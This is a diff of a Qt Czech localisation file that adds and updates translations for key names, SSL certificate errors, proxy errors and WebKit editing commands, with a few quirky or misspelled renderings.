+ <translation>Internetová kamera</translation>
+ </message>
+ <message>
+ <source>Mail Forward</source>
+ <translation>Předání dál</translation>
+ </message>
+ <message>
+ <source>Pictures</source>
+ <translation>Obrázky</translation>
+ </message>
+ <message>
+ <source>Music</source>
+ <translation>Hudba</translation>
+ </message>
+ <message>
+ <source>Battery</source>
+ <translation>Baterie</translation>
+ </message>
+ <message>
+ <source>Bluetooth</source>
+ <translation>Modrozub</translation>
+ </message>
+ <message>
+ <source>Wireless</source>
+ <translation>Bezdrát</translation>
+ </message>
+ <message>
+ <source>Ultra Wide Band</source>
+ <translation>Ultra široké pásmo</translation>
+ </message>
+ <message>
+ <source>Audio Forward</source>
+ <translation>Zvuk přetočit dopředu</translation>
+ </message>
+ <message>
+ <source>Audio Repeat</source>
+ <translation>Opakovat zvuk</translation>
+ </message>
+ <message>
+ <source>Audio Random Play</source>
+ <translation>Zvuk přehrávat náhodně</translation>
+ </message>
+ <message>
+ <source>Subtitle</source>
+ <translation>Titulky</translation>
+ </message>
+ <message>
+ <source>Audio Cycle Track</source>
+ <translation>Změnit zvukovou stopu</translation>
+ </message>
+ <message>
+ <source>Time</source>
+ <translation>Čas</translation>
+ </message>
+ <message>
+ <source>View</source>
+ <translation>Pohled</translation>
+ </message>
+ <message>
+ <source>Top Menu</source>
+ <translation>Hlavní nabídka</translation>
+ </message>
+ <message>
+ <source>Suspend</source>
+ <translation>Pozastavit</translation>
+ </message>
+ <message>
+ <source>Hibernate</source>
+ <translation>Přezimovat</translation>
+ </message>
+ <message>
<source>Context1</source>
<translation>Kontext1</translation>
</message>
<message>
- <location line="+1"/>
<source>Context2</source>
<translation>Kontext2</translation>
</message>
<message>
- <location line="+1"/>
<source>Context3</source>
<translation>Kontext3</translation>
</message>
<message>
- <location line="+1"/>
<source>Context4</source>
<translation>Kontext4</translation>
</message>
<message>
- <location line="-22"/>
<source>Page Up</source>
<translation>Page Up</translation>
</message>
<message>
- <location line="-23"/>
<source>Open URL</source>
<translation>Otevřít URL</translation>
</message>
<message>
- <location line="+25"/>
<source>Caps Lock</source>
<translation>Caps Lock</translation>
</message>
<message>
- <location line="+7"/>
<source>System Request</source>
<translation>Žádost systému</translation>
</message>
<message>
- <location line="-60"/>
<source>CapsLock</source>
<translation>CapsLock</translation>
</message>
<message>
- <location line="-17"/>
<source>Backtab</source>
<translation>Zpět-Tab</translation>
</message>
<message>
- <location line="+32"/>
<source>Bass Up</source>
<translation>Basy +</translation>
</message>
<message>
- <location line="-5"/>
<source>Refresh</source>
<translation>Obnovit</translation>
</message>
<message>
- <location line="+19"/>
<source>Launch Mail</source>
<translation>Spustit e-mail</translation>
</message>
<message>
- <location line="-45"/>
<source>Backspace</source>
<translation>Backspace</translation>
</message>
<message>
- <location line="+32"/>
<source>Bass Down</source>
<translation>Basy -</translation>
</message>
<message>
- <location line="+11"/>
<source>Standby</source>
<translation>V pohotovosti</translation>
</message>
<message>
- <location line="-10"/>
<source>Treble Up</source>
<translation>Výšky +</translation>
</message>
<message>
- <location line="+37"/>
<source>Num Lock</source>
<translation>Num Lock</translation>
</message>
<message>
- <location line="+1"/>
<source>Number Lock</source>
<translation>Zahlen-Feststelltaste</translation>
</message>
<message>
- <location line="-30"/>
<source>Favorites</source>
<translation>Oblíbené</translation>
</message>
<message>
- <location line="-17"/>
<source>Forward</source>
<translation>Dopředu</translation>
</message>
<message>
- <location line="+44"/>
<source>Page Down</source>
<translation>Obraz dolů</translation>
</message>
<message>
- <location line="-33"/>
<source>Media Play</source>
<translation>Přehrávání</translation>
</message>
<message>
- <location line="+1"/>
<source>Media Stop</source>
<translation>Zastavit přehrávání</translation>
</message>
<message>
- <location line="+2"/>
<source>Media Next</source>
<translation>Další</translation>
</message>
<message>
- <location line="+8"/>
<source>Launch Media</source>
<translation>Spustit přehrávač</translation>
</message>
@@ -5845,27 +6501,22 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QSlider</name>
<message>
- <location filename="../src/plugins/accessible/widgets/rangecontrols.cpp" line="+153"/>
<source>Page up</source>
<translation>O stranu nahoru</translation>
</message>
<message>
- <location line="+2"/>
<source>Position</source>
<translation>Poloha</translation>
</message>
<message>
- <location line="+3"/>
<source>Page right</source>
<translation>O stranu doprava</translation>
</message>
<message>
- <location line="+0"/>
<source>Page down</source>
<translation>O stranu dolů</translation>
</message>
<message>
- <location line="-5"/>
<source>Page left</source>
<translation>O stranu doleva</translation>
</message>
@@ -5873,72 +6524,58 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QSocks5SocketEngine</name>
<message>
- <location filename="../src/network/socket/qsocks5socketengine.cpp" line="+710"/>
<source>Network operation timed out</source>
<translation>Časový limit pro síťovou operaci byl překročen</translation>
</message>
<message>
- <location line="-773"/>
<source>Connection to proxy closed prematurely</source>
<translation>Proxy server předčasně ukončil spojení</translation>
</message>
<message>
- <location line="+27"/>
<source>Proxy authentication failed: %1</source>
<translation>Autentizace u proxy serveru se nezdařila: %1</translation>
</message>
<message>
- <location line="-1"/>
<source>Proxy authentication failed</source>
<translation>Autentizace u proxy serveru se nezdařila</translation>
</message>
<message>
- <location line="+29"/>
<source>General SOCKSv5 server failure</source>
<translation>Všeobecná chyba při spojení s SOCKSv5 serverem</translation>
</message>
<message>
- <location line="+33"/>
<source>Unknown SOCKSv5 proxy error code 0x%1</source>
<translation>Byl obdržen neznámý chybový kód od SOCKSv5 proxy serveru: 0x%1</translation>
</message>
<message>
- <location line="-29"/>
<source>Connection not allowed by SOCKSv5 server</source>
<translation>SOCKSv5 server odmítl spojení</translation>
</message>
<message>
- <location line="+20"/>
<source>SOCKSv5 command not supported</source>
<translation>Tento SOCKSv5 příkaz není podporován</translation>
</message>
<message>
- <location line="-70"/>
<source>Connection to proxy timed out</source>
<translation>Při spojení s proxy serverem byl překročen časový limit</translation>
</message>
<message>
- <location line="-5"/>
<source>Proxy host not found</source>
<translation>Proxy server se nepodařilo najit</translation>
</message>
<message>
- <location line="+71"/>
<source>TTL expired</source>
<translation>TTL uplynul</translation>
</message>
<message>
- <location line="+8"/>
<source>Address type not supported</source>
<translation>Tento typ adresy není podporován</translation>
</message>
<message>
- <location line="-87"/>
<source>Connection to proxy refused</source>
<translation>Proxy server odmítl navázání spojení</translation>
</message>
<message>
- <location line="+40"/>
<source>SOCKS version 5 protocol error</source>
<translation>Chyba protokolu (SOCKS verze 5)</translation>
</message>
@@ -5946,32 +6583,26 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QSoftKeyManager</name>
<message>
- <location filename="../src/gui/kernel/qsoftkeymanager.cpp" line="+78"/>
<source>Ok</source>
<translation>OK</translation>
</message>
<message>
- <location line="+3"/>
<source>Select</source>
<translation>Vybrat</translation>
</message>
<message>
- <location line="+3"/>
<source>Done</source>
<translation>Hotovo</translation>
</message>
<message>
- <location line="+3"/>
<source>Options</source>
<translation>Volby</translation>
</message>
<message>
- <location line="+3"/>
<source>Cancel</source>
<translation>Zrušit</translation>
</message>
<message>
- <location line="+151"/>
<source>Exit</source>
<translation>Ukončit</translation>
</message>
@@ -5979,12 +6610,10 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QSpinBox</name>
<message>
- <location filename="../src/plugins/accessible/widgets/rangecontrols.cpp" line="-567"/>
<source>Less</source>
<translation>Méně</translation>
</message>
<message>
- <location line="-2"/>
<source>More</source>
<translation>Více</translation>
</message>
@@ -5992,56 +6621,42 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QSql</name>
<message>
- <location filename="../src/qt3support/sql/q3sqlmanager_p.cpp" line="+893"/>
- <location line="+16"/>
- <location line="+36"/>
<source>No</source>
<translation>Ne</translation>
</message>
<message>
- <location line="-53"/>
- <location line="+16"/>
- <location line="+36"/>
<source>Yes</source>
<translation>Ano</translation>
</message>
<message>
- <location line="-34"/>
<source>Cancel</source>
<translation>Zrušit</translation>
</message>
<message>
- <location line="-20"/>
<source>Delete</source>
<translation>Delete</translation>
</message>
<message>
- <location line="+11"/>
<source>Insert</source>
<translation>Vložit</translation>
</message>
<message>
- <location line="+2"/>
<source>Update</source>
<translation>Obnovit</translation>
</message>
<message>
- <location line="-12"/>
<source>Delete this record?</source>
<translation>Smazat tento zápis?</translation>
</message>
<message>
- <location line="+16"/>
<source>Save edits?</source>
<translation>Uložit změny?</translation>
</message>
<message>
- <location line="+35"/>
<source>Confirm</source>
<translation>Potvrdit</translation>
</message>
<message>
- <location line="+1"/>
<source>Cancel your edits?</source>
<translation>Zrušit změny?</translation>
</message>
@@ -6049,80 +6664,165 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QSslSocket</name>
<message>
- <location filename="../src/network/ssl/qsslsocket_openssl.cpp" line="+362"/>
<source>Error creating SSL session: %1</source>
<translation>Nepodařilo se vytvořit sezení SSL: %1</translation>
</message>
<message>
- <location line="-15"/>
<source>Error creating SSL session, %1</source>
<translation>Nepodařilo se vytvořit sezení SSL, %1</translation>
</message>
<message>
- <location line="-46"/>
<source>Cannot provide a certificate with no key, %1</source>
<translation>Bez klíče nelze poskytnout žádné osvědčení k volnému použití, %1</translation>
</message>
<message>
- <location line="+245"/>
+ <source>Private key does not certify public key, %1</source>
+ <translation>Soukromý klíč nedosvědčuje veřejný klíč, %1</translation>
+ </message>
+ <message>
<source>Unable to write data: %1</source>
<translation>Data se nepodařilo zapsat: %1</translation>
</message>
<message>
- <location line="+215"/>
+ <source>Unable to decrypt data: %1</source>
+ <translation>Data se nepodařilo rozluštit: %1</translation>
+ </message>
+ <message>
<source>Error during SSL handshake: %1</source>
<translation>Během startu SSL protokolu se vyskytla chyba: %1</translation>
</message>
<message>
- <location line="-453"/>
<source>Error loading local certificate, %1</source>
<translation>Nepodařilo se nahrát místní osvědčení, %1</translation>
</message>
<message>
- <location line="-23"/>
<source>Invalid or empty cipher list (%1)</source>
<translation>Neplatný či prázdný seznam se šifrovacími klíči (%1)</translation>
</message>
<message>
- <location line="+42"/>
<source>Private key does not certificate public key, %1</source>
- <translation>Vystavení osvědčení k veřejnému klíči přes soukromý klíč se nezdařilo, %1</translation>
+ <translation type="obsolete">Vystavení osvědčení k veřejnému klíči přes soukromý klíč se nezdařilo, %1</translation>
</message>
<message>
- <location line="-67"/>
<source>Error creating SSL context (%1)</source>
<translation>Nepodařilo se vytvořit žádný kontext SSL (%1)</translation>
</message>
<message>
- <location line="+405"/>
<source>Error while reading: %1</source>
<translation>Při čtení se vyskytla chyba: %1</translation>
</message>
<message>
- <location line="-345"/>
<source>Error loading private key, %1</source>
<translation>Soukromý klíč se nepodařilo nahrát, %1</translation>
</message>
+ <message>
+ <source>No error</source>
+ <translation>Žádná chyba</translation>
+ </message>
+ <message>
+ <source>The issuer certificate could not be found</source>
+ <translation>Osvědčení od vydavatele se nepodařilo nalézt</translation>
+ </message>
+ <message>
+ <source>The certificate signature could not be decrypted</source>
+ <translation>Podpis osvědčení se nepodařilo rozluštit</translation>
+ </message>
+ <message>
+ <source>The public key in the certificate could not be read</source>
+ <translation>Veřejný klíč v osvědčení se nepodařilo přečíst</translation>
+ </message>
+ <message>
+ <source>The signature of the certificate is invalid</source>
+ <translation>Podpis osvědčení je neplatný</translation>
+ </message>
+ <message>
+ <source>The certificate is not yet valid</source>
+ <translation>Osvědčení ještě není platné</translation>
+ </message>
+ <message>
+ <source>The certificate has expired</source>
+ <translation>Platnost osvědčení uplynula</translation>
+ </message>
+ <message>
+ <source>The certificate&apos;s notBefore field contains an invalid time</source>
+ <translation>Pole osvědčení &apos;notBefore&apos; obsahuje neplatný čas</translation>
+ </message>
+ <message>
+ <source>The certificate&apos;s notAfter field contains an invalid time</source>
+ <translation>Pole osvědčení &apos;notAfter&apos; obsahuje neplatný čas</translation>
+ </message>
+ <message>
+ <source>The certificate is self-signed, and untrusted</source>
+ <translation>Osvědčení je podepsáno samo sebou, a proto není důvěryhodné</translation>
+ </message>
+ <message>
+ <source>The root certificate of the certificate chain is self-signed, and untrusted</source>
+ <translation>Kořenové osvědčení řetězce osvědčení je podepsáno samo sebou, a proto není důvěryhodné</translation>
+ </message>
+ <message>
+ <source>The issuer certificate of a locally looked up certificate could not be found</source>
+ <translation>Osvědčení od vydavatele místně nalezeného osvědčení se nepodařilo najít</translation>
+ </message>
+ <message>
+ <source>No certificates could be verified</source>
+ <translation>Žádný z osvědčení se nepodařilo ověřit</translation>
+ </message>
+ <message>
+ <source>One of the CA certificates is invalid</source>
+ <translation>Jedno z osvědčení osvědčovacího místa (CA) je neplatné</translation>
+ </message>
+ <message>
+ <source>The basicConstraints path length parameter has been exceeded</source>
+ <translation>Délka cesty &apos;basicConstraints&apos;byla překročena</translation>
+ </message>
+ <message>
+ <source>The supplied certificate is unsuitable for this purpose</source>
+ <translation>Poskytnuté osvědčení nelze v tomto případě použít; není vhodné pro tento účel</translation>
+ </message>
+ <message>
+ <source>The root CA certificate is not trusted for this purpose</source>
+ <translation>Kořenové osvědčení osvědčovacího místa není pro tento případ důvěryhodné</translation>
+ </message>
+ <message>
+ <source>The root CA certificate is marked to reject the specified purpose</source>
+ <translation>Kořenové osvědčení osvědčovacího místa odmítá tento případ na základě zvláštního označení</translation>
+ </message>
+ <message>
+ <source>The current candidate issuer certificate was rejected because its subject name did not match the issuer name of the current certificate</source>
+ <translation>Osvědčení sledovaného vydavatele bylo odmítnuto, protože jeho předmětný název neodpovídá názvu vydavatele současného osvědčení</translation>
+ </message>
+ <message>
+ <source>The current candidate issuer certificate was rejected because its issuer name and serial number was present and did not match the authority key identifier of the current certificate</source>
+ <translation>Osvědčení sledovaného vydavatele bylo odmítnuto, protože název vydavatele a sériové číslo jsou přítomny a neodpovídají identifikátoru osvědčovacího místa současného osvědčení</translation>
+ </message>
+ <message>
+ <source>The peer did not present any certificate</source>
+ <translation>Protější místo neudalo žádné osvědčení</translation>
+ </message>
+ <message>
+ <source>The host name did not match any of the valid hosts for this certificate</source>
+ <translation>Název hostitelského počítače neodpovídá žádnému z hostitelů platných pro toto osvědčení, kteří jsou na seznamu</translation>
+ </message>
+ <message>
+ <source>Unknown error</source>
+ <translation>Neznámá chyba</translation>
+ </message>
</context>
<context>
<name>QStateMachine</name>
<message>
- <location filename="../src/corelib/statemachine/qstatemachine.cpp" line="+998"/>
<source>Missing initial state in compound state &apos;%1&apos;</source>
<translation>Chybí počáteční stav složeného stavu &apos;%1&apos;</translation>
</message>
<message>
- <location line="+7"/>
<source>Missing default state in history state &apos;%1&apos;</source>
<translation>Chybí výchozí stav ve vývoji stavu &apos;%1&apos;</translation>
</message>
<message>
- <location line="+7"/>
<source>No common ancestor for targets and source of transition from state &apos;%1&apos;</source>
<translation>Cíl a zdroj přechodu ze stavu &apos;%1&apos; nemají žádný společný původ</translation>
</message>
<message>
- <location line="+4"/>
<source>Unknown error</source>
<translation>Neznámá chyba</translation>
</message>
@@ -6130,30 +6830,22 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QSystemSemaphore</name>
<message>
- <location filename="../src/corelib/kernel/qsystemsemaphore_unix.cpp" line="-46"/>
<source>%1: does not exist</source>
<translation>%1: Neexistuje</translation>
</message>
<message>
- <location line="-4"/>
<source>%1: already exists</source>
<translation>%1: Již existuje</translation>
</message>
<message>
- <location line="+13"/>
- <location filename="../src/corelib/kernel/qsystemsemaphore_win.cpp" line="+73"/>
<source>%1: unknown error %2</source>
<translation>%1: Neznámá chyba %2</translation>
</message>
<message>
- <location line="-17"/>
- <location filename="../src/corelib/kernel/qsystemsemaphore_win.cpp" line="-3"/>
<source>%1: permission denied</source>
<translation>%1: Přístup odepřen</translation>
</message>
<message>
- <location line="+13"/>
- <location filename="../src/corelib/kernel/qsystemsemaphore_win.cpp" line="-4"/>
<source>%1: out of resources</source>
<translation>%1: Nejsou již použitelné zdroje</translation>
</message>
@@ -6161,12 +6853,10 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QTDSDriver</name>
<message>
- <location filename="../src/sql/drivers/tds/qsql_tds.cpp" line="+584"/>
<source>Unable to open connection</source>
<translation>Nepodařilo se otevřít spojení s databází</translation>
</message>
<message>
- <location line="+5"/>
<source>Unable to use database</source>
<translation>Datatbázi se nepodařilo použít</translation>
</message>
@@ -6174,12 +6864,10 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QTabBar</name>
<message>
- <location filename="../src/plugins/accessible/widgets/complexwidgets.cpp" line="-326"/>
<source>Scroll Left</source>
<translation>Projíždět doleva</translation>
</message>
<message>
- <location line="+0"/>
<source>Scroll Right</source>
<translation>Projíždět doprava</translation>
</message>
@@ -6187,7 +6875,6 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QTcpServer</name>
<message>
- <location filename="../src/network/socket/qtcpserver.cpp" line="+282"/>
<source>Operation on socket is not supported</source>
<translation>Tato zásuvková (socket) operace není podporována</translation>
</message>
@@ -6195,42 +6882,34 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QTextControl</name>
<message>
- <location filename="../src/gui/text/qtextcontrol.cpp" line="+2013"/>
<source>Cu&amp;t</source>
<translation>Vyj&amp;mout</translation>
</message>
<message>
- <location line="+5"/>
<source>&amp;Copy</source>
<translation>&amp;Kopírovat</translation>
</message>
<message>
- <location line="-9"/>
<source>&amp;Redo</source>
<translation>&amp;Znovu</translation>
</message>
<message>
- <location line="-2"/>
<source>&amp;Undo</source>
<translation>&amp;Zpět</translation>
</message>
<message>
- <location line="+24"/>
<source>&amp;Paste</source>
<translation>&amp;Vložit</translation>
</message>
<message>
- <location line="+3"/>
<source>Delete</source>
<translation>Smazat</translation>
</message>
<message>
- <location line="+7"/>
<source>Select All</source>
<translation>Vybrat vše</translation>
</message>
<message>
- <location line="-16"/>
<source>Copy &amp;Link Location</source>
<translation>&amp;Kopírovat adresu odkazu</translation>
</message>
@@ -6238,14 +6917,10 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QToolButton</name>
<message>
- <location filename="../src/plugins/accessible/widgets/simplewidgets.cpp" line="+312"/>
- <location line="+8"/>
<source>Open</source>
<translation>Otevřít</translation>
</message>
<message>
- <location line="-10"/>
- <location line="+6"/>
<source>Press</source>
<translation>Stisknout</translation>
</message>
@@ -6253,7 +6928,6 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QUdpSocket</name>
<message>
- <location filename="../src/network/socket/qudpsocket.cpp" line="+179"/>
<source>This platform does not support IPv6</source>
<translation>Tato patforma nepodpotuje IPv6</translation>
</message>
@@ -6261,12 +6935,10 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QUndoGroup</name>
<message>
- <location filename="../src/gui/util/qundogroup.cpp" line="+413"/>
<source>Redo</source>
<translation>Znovu</translation>
</message>
<message>
- <location line="-28"/>
<source>Undo</source>
<translation>Zpět</translation>
</message>
@@ -6274,7 +6946,6 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QUndoModel</name>
<message>
- <location filename="../src/gui/util/qundoview.cpp" line="+101"/>
<source>&lt;empty&gt;</source>
<translation>&lt;prázdný&gt;</translation>
</message>
@@ -6282,12 +6953,10 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QUndoStack</name>
<message>
- <location filename="../src/gui/util/qundostack.cpp" line="+859"/>
<source>Redo</source>
<translation>Znovu</translation>
</message>
<message>
- <location line="-27"/>
<source>Undo</source>
<translation>Zpět</translation>
</message>
@@ -6295,57 +6964,46 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QUnicodeControlCharacterMenu</name>
<message>
- <location filename="../src/gui/text/qtextcontrol.cpp" line="+906"/>
<source>RLE Start of right-to-left embedding</source>
<translation>RLE Začátek zapuštění zprava doleva (right-to-left embedding)</translation>
</message>
<message>
- <location line="-2"/>
<source>ZWSP Zero width space</source>
<translation>ZWSP Prostor s nulovou šířkou (Zero width space)</translation>
</message>
<message>
- <location line="+11"/>
<source>Insert Unicode control character</source>
<translation>Vložit kontrolní znak Unicode</translation>
</message>
<message>
- <location line="-8"/>
<source>LRO Start of left-to-right override</source>
<translation>LRO Začátek zrušení zleva doprava (left-to-right override)</translation>
</message>
<message>
- <location line="-2"/>
<source>LRE Start of left-to-right embedding</source>
<translation>LRE Začátek zapuštění zleva doprava (right-to-left embedding)</translation>
</message>
<message>
- <location line="-4"/>
<source>RLM Right-to-left mark</source>
<translation>RLM Značka zprava doleva (Right-to-left mark)</translation>
</message>
<message>
- <location line="+8"/>
<source>PDF Pop directional formatting</source>
<translation>PDF Vsunout směrové formátování (Pop directional formatting)</translation>
</message>
<message>
- <location line="-6"/>
<source>ZWNJ Zero width non-joiner</source>
<translation>ZWNJ Nespojovač s nulovou šířkou (Zero width non-joiner)</translation>
</message>
<message>
- <location line="+5"/>
<source>RLO Start of right-to-left override</source>
<translation>RLO Začátek zrušení zprava doleva (right-to-left override)</translation>
</message>
<message>
- <location line="-6"/>
<source>ZWJ Zero width joiner</source>
<translation>ZWJ Spojovač s nulovou šířkou (Zero width joiner)</translation>
</message>
<message>
- <location line="-2"/>
<source>LRM Left-to-right mark</source>
<translation>LRM Značka zleva doprava (Left-to-right mark)</translation>
</message>
@@ -6353,22 +7011,18 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QWebFrame</name>
<message>
- <location filename="../src/3rdparty/webkit/WebKit/qt/WebCoreSupport/FrameLoaderClientQt.cpp" line="+730"/>
<source>Request blocked</source>
<translation>Požadavek byl odmítnut</translation>
</message>
<message>
- <location line="-19"/>
<source>Request cancelled</source>
<translation>Požadavek byl zrušen</translation>
</message>
<message>
- <location line="+26"/>
<source>Cannot show URL</source>
<translation>Adresu (URL) nelze ukázat</translation>
</message>
<message>
- <location line="+6"/>
<source>Frame load interrupted by policy change</source>
<translation>Nahrání rámce bylo přerušeno změnou směrnice</translation>
</message>
@@ -6377,12 +7031,10 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Nahrání rámce bylo přerušeno změnou směrnice</translation>
</message>
<message>
- <location line="+12"/>
<source>File does not exist</source>
<translation>Soubor neexistuje</translation>
</message>
<message>
- <location line="-6"/>
<source>Cannot show mimetype</source>
<translation>Tento mime typ nelze ukázat</translation>
</message>
@@ -6402,7 +7054,6 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Zprava doleva</translation>
</message>
<message>
- <location filename="../src/3rdparty/webkit/WebCore/platform/qt/ScrollbarQt.cpp" line="+61"/>
<source>Top</source>
<translation>Začátek</translation>
</message>
@@ -6443,122 +7094,98 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Provést prohlídku</translation>
</message>
<message>
- <location filename="../src/3rdparty/webkit/WebKit/qt/Api/qwebpage.cpp" line="+2213"/>
<source>Select to the start of the block</source>
<translation>Vybrat až po začátek bloku</translation>
</message>
<message>
- <location line="-36"/>
<source>Move the cursor to the end of the block</source>
<translation>Ukazatel polohy posunout až na konec bloku</translation>
</message>
<message>
- <location line="-469"/>
<source>JavaScript Alert - %1</source>
<translation>Upozornění od JavaScriptu - %1</translation>
</message>
<message>
- <location line="+16"/>
<source>JavaScript Confirm - %1</source>
<translation>Potvrzení od JavaScriptu - %1</translation>
</message>
<message>
- <location line="+18"/>
<source>JavaScript Prompt - %1</source>
<translation>Výzva od JavaScriptu - %1</translation>
</message>
<message>
- <location line="+25"/>
<source>JavaScript Problem - %1</source>
<translation>Potíže s JavaScriptem - %1</translation>
</message>
<message>
- <location line="+0"/>
<source>The script on this page appears to have a problem. Do you want to stop the script?</source>
<translation>Vypadá to na to, že skript na této straně má potíže. Chcete tento skript zastavit?</translation>
</message>
<message>
- <location line="+419"/>
<source>Select all</source>
<translation>Vybrat vše</translation>
</message>
<message>
- <location line="+21"/>
<source>Select to the start of the line</source>
<translation>Vybrat až po začátek řádku</translation>
</message>
<message>
- <location line="+54"/>
<source>Insert a new paragraph</source>
<translation>Vložit nový odstavec</translation>
</message>
<message>
- <location line="+3"/>
<source>Insert a new line</source>
<translation>Vložit nový řádek</translation>
</message>
<message>
- <location line="+4"/>
<source>Paste and Match Style</source>
<translation>Vložit a odpovídat stylu</translation>
</message>
<message>
- <location line="+3"/>
<source>Remove formatting</source>
<translation>Odstranit formátování</translation>
</message>
<message>
- <location line="+4"/>
<source>Strikethrough</source>
<translation>Přeškrtnuto</translation>
</message>
<message>
- <location line="+4"/>
<source>Subscript</source>
<translation>Dolní index</translation>
</message>
<message>
- <location line="+4"/>
<source>Superscript</source>
<translation>Horní index</translation>
</message>
<message>
- <location line="+4"/>
<source>Insert Bulleted List</source>
<translation>Vložit seznam s odrážkami</translation>
</message>
<message>
- <location line="+4"/>
<source>Insert Numbered List</source>
<translation>Vložit číslovaný seznam</translation>
</message>
<message>
- <location line="+4"/>
<source>Indent</source>
<translation>Odsadit</translation>
</message>
<message>
- <location line="+3"/>
<source>Outdent</source>
<translation>Zrušit odsazení</translation>
</message>
<message>
- <location line="+3"/>
<source>Center</source>
<translation>Na střed</translation>
</message>
<message>
- <location line="+3"/>
<source>Justify</source>
<translation>Do bloku</translation>
</message>
<message>
- <location line="+3"/>
<source>Align Left</source>
<translation>Zarovnat vlevo</translation>
</message>
<message>
- <location line="+3"/>
<source>Align Right</source>
<translation>Zarovnat vpravo</translation>
</message>
@@ -6579,7 +7206,6 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Přidat do slovníku</translation>
</message>
<message>
- <location line="-85"/>
<source>Delete to the start of the word</source>
<translation>Smazat až po začátek slova</translation>
</message>
@@ -6588,32 +7214,26 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Dosavadní hledané výrazy</translation>
</message>
<message>
- <location line="-69"/>
<source>Move the cursor to the next word</source>
<translation>Ukazatel polohy posunout k následujícímu slovu</translation>
</message>
<message>
- <location line="+6"/>
<source>Move the cursor to the next line</source>
<translation>Ukazatel polohy posunout k následujícímu řádku</translation>
</message>
<message>
- <location filename="../src/3rdparty/webkit/WebCore/platform/qt/ScrollbarQt.cpp" line="+9"/>
<source>Scroll down</source>
<translation>Projíždět dolů</translation>
</message>
<message>
- <location line="-12"/>
<source>Scroll here</source>
<translation>Projíždět až sem</translation>
</message>
<message>
- <location line="+11"/>
<source>Scroll left</source>
<translation>Projíždět doleva</translation>
</message>
<message>
- <location filename="../src/3rdparty/webkit/WebKit/qt/Api/qwebpage.cpp" line="+12"/>
<source>Move the cursor to the start of the block</source>
<translation>Ukazatel polohy posunout na začátek bloku</translation>
</message>
@@ -6622,7 +7242,6 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Směr psaní</translation>
</message>
<message>
- <location filename="../src/3rdparty/webkit/WebCore/platform/qt/ScrollbarQt.cpp" line="-7"/>
<source>Bottom</source>
<translation>Konec</translation>
</message>
@@ -6635,12 +7254,10 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Kurzívní</translation>
</message>
<message>
- <location filename="../src/3rdparty/webkit/WebKit/qt/Api/qwebpage.cpp" line="-3"/>
<source>Move the cursor to the end of the line</source>
<translation>Ukazatel polohy posunout na konec řádku</translation>
</message>
<message>
- <location line="-3"/>
<source>Move the cursor to the start of the line</source>
<translation>Ukazatel polohy posunout na začátek řádku</translation>
</message>
@@ -6653,12 +7270,10 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Poslat</translation>
</message>
<message>
- <location filename="../src/3rdparty/webkit/WebKit/qt/WebCoreSupport/InspectorClientQt.cpp" line="+167"/>
<source>Web Inspector - %2</source>
<translation>Web Inspektor - %2</translation>
</message>
<message>
- <location filename="../src/3rdparty/webkit/WebCore/platform/qt/ScrollbarQt.cpp" line="+3"/>
<source>Page up</source>
<translation>O stranu nahoru</translation>
</message>
@@ -6679,487 +7294,411 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Nebyl vybrán žádný soubor</translation>
</message>
<message>
- <location filename="../src/3rdparty/webkit/WebCore/platform/qt/Localizations.cpp" line="+42"/>
<source>Submit</source>
<comment>default label for Submit buttons in forms on web pages</comment>
<translation>Poslat</translation>
</message>
<message>
- <location line="+10"/>
<source>Reset</source>
<comment>default label for Reset buttons in forms on web pages</comment>
<translation>Vrátit</translation>
</message>
<message>
- <location line="+11"/>
<source>This is a searchable index. Enter search keywords: </source>
<comment>text that appears at the start of nearly-obsolete web pages in the form of a &apos;searchable index&apos;</comment>
<translation>Tento rejstřík má funkci hledání. Zadejte nějaký hledaný výraz:</translation>
</message>
<message>
- <location line="+5"/>
<source>Choose File</source>
<comment>title for file button used in HTML forms</comment>
<translation>Vybrat soubor</translation>
</message>
<message>
- <location line="+5"/>
<source>No file selected</source>
<comment>text to display in file button used in HTML forms when no file is selected</comment>
<translation>Nebyl vybrán žádný soubor</translation>
</message>
<message>
- <location line="+5"/>
<source>Open in New Window</source>
<comment>Open in New Window context menu item</comment>
<translation>Otevřít v novém okně</translation>
</message>
<message>
- <location line="+5"/>
<source>Save Link...</source>
<comment>Download Linked File context menu item</comment>
<translation>Uložit odkaz...</translation>
</message>
<message>
- <location line="+5"/>
<source>Copy Link</source>
<comment>Copy Link context menu item</comment>
<translation>Kopírovat adresu odkazu</translation>
</message>
<message>
- <location line="+5"/>
<source>Open Image</source>
<comment>Open Image in New Window context menu item</comment>
<translation>Vyobrazení otevřít v novém okně</translation>
</message>
<message>
- <location line="+5"/>
<source>Save Image</source>
<comment>Download Image context menu item</comment>
<translation>Uložit vyobrazení</translation>
</message>
<message>
- <location line="+5"/>
<source>Copy Image</source>
<comment>Copy Link context menu item</comment>
<translation>Kopírovat vyobrazení</translation>
</message>
<message>
